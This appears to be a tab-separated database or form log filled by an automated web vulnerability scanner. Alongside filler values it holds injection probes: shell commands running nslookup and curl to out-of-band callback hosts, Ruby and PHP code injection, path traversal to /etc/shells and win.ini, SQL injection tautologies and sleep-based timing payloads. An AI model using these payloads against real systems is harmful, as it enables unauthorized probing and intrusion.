1	1	gethostbyname(lc('hitxs'.'uqxqcfnvcac37.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(69).chr(98).chr(71)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	';print(md5(31337));$a='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"echo gienim$()\ natwqy\nz^xyu||a #' &echo gienim$()\ natwqy\nz^xyu||a #|"" &echo gienim$()\ natwqy\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&echo ffvjyv$()\ xstchf\nz^xyu||a #' &echo ffvjyv$()\ xstchf\nz^xyu||a #|"" &echo ffvjyv$()\ xstchf\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	Http://bxss.me/t/fit.txt	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}\	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"|echo dyvsgk$()\ fisxqv\nz^xyu||a #' |echo dyvsgk$()\ fisxqv\nz^xyu||a #|"" |echo dyvsgk$()\ fisxqv\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://bxss.me/t/fit.txt%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.print(md5(31337)).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	expr 9000133962 - 963035	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(nslookup -q=cname hitfomytnmtxo94cd2.bxss.me||curl hitfomytnmtxo94cd2.bxss.me))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	$(nslookup -q=cname hitsyyrsrllpe6d1e1.bxss.me||curl hitsyyrsrllpe6d1e1.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&nslookup -q=cname hitjyoayzkpsoc9240.bxss.me&'\""`0&nslookup -q=cname hitjyoayzkpsoc9240.bxss.me&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitakdireitvdd0066.bxss.me||curl${IFS}hitakdireitvdd0066.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitakdireitvdd0066.bxss.me||curl${IFS}hitakdireitvdd0066.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	';print(md5(31337));$a='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""";print(md5(31337));$a="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}\	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	';print(md5(31337));$a='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}\	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.print(md5(31337)).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	HttP://bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	HttP://bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&echo pyjyhr$()\ jwhynz\nz^xyu||a #' &echo pyjyhr$()\ jwhynz\nz^xyu||a #|"" &echo pyjyhr$()\ jwhynz\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	expr 9000187954 - 986017	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(nslookup -q=cname hitrrwuwzdnbg91119.bxss.me||curl hitrrwuwzdnbg91119.bxss.me))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitnemxlfnmyj5734b.bxss.me||curl${IFS}hitnemxlfnmyj5734b.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	$(nslookup -q=cname hitcdsyeeraoi794f4.bxss.me||curl hitcdsyeeraoi794f4.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(99).concat(73).concat(101).concat(79)+(require""socket""
Socket.gethostbyname(""hitvl""+""xswvhmztc111f.bxss.me."")[3].to_s)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1&n933455=v986463	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU&n989319=v958773	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1&n900504=v947100	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&echo wtdvgg$()\ wgrtwi\nz^xyu||a #' &echo wtdvgg$()\ wgrtwi\nz^xyu||a #|"" &echo wtdvgg$()\ wgrtwi\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup -q=cname hitdjdxulnunqd616f.bxss.me||curl hitdjdxulnunqd616f.bxss.me)&'\""`0&(nslookup -q=cname hitdjdxulnunqd616f.bxss.me||curl hitdjdxulnunqd616f.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'A'.concat(70-3).concat(22*4).concat(109).concat(82).concat(109).concat(70)+(require'socket'
Socket.gethostbyname('hitcm'+'aciaavrf5405f.bxss.me.')[3].to_s)"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup -q=cname hitlxlythgjknc3aee.bxss.me||curl hitlxlythgjknc3aee.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitkeagnolbpmc3e21.bxss.me||curl${IFS}hitkeagnolbpmc3e21.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	@@DP9qb	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU&n938694=v955156	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(116).concat(90).concat(119).concat(69)+(require'socket'
Socket.gethostbyname('hitmc'+'twoeoqvw5042c.bxss.me.')[3].to_s)+'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(113).concat(65).concat(117).concat(72)+(require'socket'
Socket.gethostbyname('hittx'+'xspnfkrybef1b.bxss.me.')[3].to_s)"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1&n914162=v933158	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"echo yyupgn$()\ zigdej\nz^xyu||a #' &echo yyupgn$()\ zigdej\nz^xyu||a #|"" &echo yyupgn$()\ zigdej\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	expr 9000700086 - 965670	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(nslookup -q=cname hitoqkorbljuxd95d8.bxss.me||curl hitoqkorbljuxd95d8.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	$(nslookup -q=cname hitmkmuqrduin227f9.bxss.me||curl hitmkmuqrduin227f9.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup -q=cname hitaaehscekbeb5df7.bxss.me||curl hitaaehscekbeb5df7.bxss.me)&'\""`0&(nslookup -q=cname hitaaehscekbeb5df7.bxss.me||curl hitaaehscekbeb5df7.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup -q=cname hitagxvouquia520d6.bxss.me||curl hitagxvouquia520d6.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	`(nslookup -q=cname hitzetsvhxrvj5f9e1.bxss.me||curl hitzetsvhxrvj5f9e1.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;(nslookup -q=cname hitnwfabgxqnv5f7db.bxss.me||curl hitnwfabgxqnv5f7db.bxss.me)|(nslookup -q=cname hitnwfabgxqnv5f7db.bxss.me||curl hitnwfabgxqnv5f7db.bxss.me)&(nslookup -q=cname hitnwfabgxqnv5f7db.bxss.me||curl hitnwfabgxqnv5f7db.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	^(#$!@#$)(()))******	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	19660750
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	5Bwp52VI: oR0kn5AH	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(113).concat(70).concat(117).concat(83)+(require""socket""
Socket.gethostbyname(""hitpm""+""bhlhhzndc5933.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+""A"".concat(70-3).concat(22*4).concat(99).concat(65).concat(108).concat(70)+(require""socket""
Socket.gethostbyname(""hitds""+""qszuaccabcb01.bxss.me."")[3].to_s)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'+'A'.concat(70-3).concat(22*4).concat(117).concat(85).concat(103).concat(73)+(require'socket'
Socket.gethostbyname('hitzs'+'kitctohh6d1c9.bxss.me.')[3].to_s)+'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'&&sleep(27*1000)*ialawk&&'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""&&sleep(27*1000)*igjqwo&&"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'A'.concat(70-3).concat(22*4).concat(117).concat(71).concat(109).concat(67)+(require'socket'
Socket.gethostbyname('hitil'+'oauknaxk37eed.bxss.me.')[3].to_s)"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'A'.concat(70-3).concat(22*4).concat(101).concat(88).concat(122).concat(80)+(require'socket'
Socket.gethostbyname('hitoc'+'wsrrylwv152f8.bxss.me.')[3].to_s)"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(110).concat(77).concat(102).concat(87)+(require""socket""
Socket.gethostbyname(""hitnj""+""pcvaushef5b98.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(101).concat(78).concat(119).concat(69)+(require'socket'
Socket.gethostbyname('hitll'+'gexfcblw1a863.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(111).concat(87).concat(99).concat(82)+(require'socket'
Socket.gethostbyname('hitwa'+'esohvoqs7c001.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	Http://bxss.me/t/fit.txt	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://bxss.me/t/fit.txt%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	!(()&&!|*|*|	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*nenshe||"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	!(()&&!|*|*|	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	!(()&&!|*|*|	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	c:/windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""||sleep(27*1000)*ctevks||"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*vpebwz&&'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*yaoros||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*hudiio||"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 or '5WJ6jsW8'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
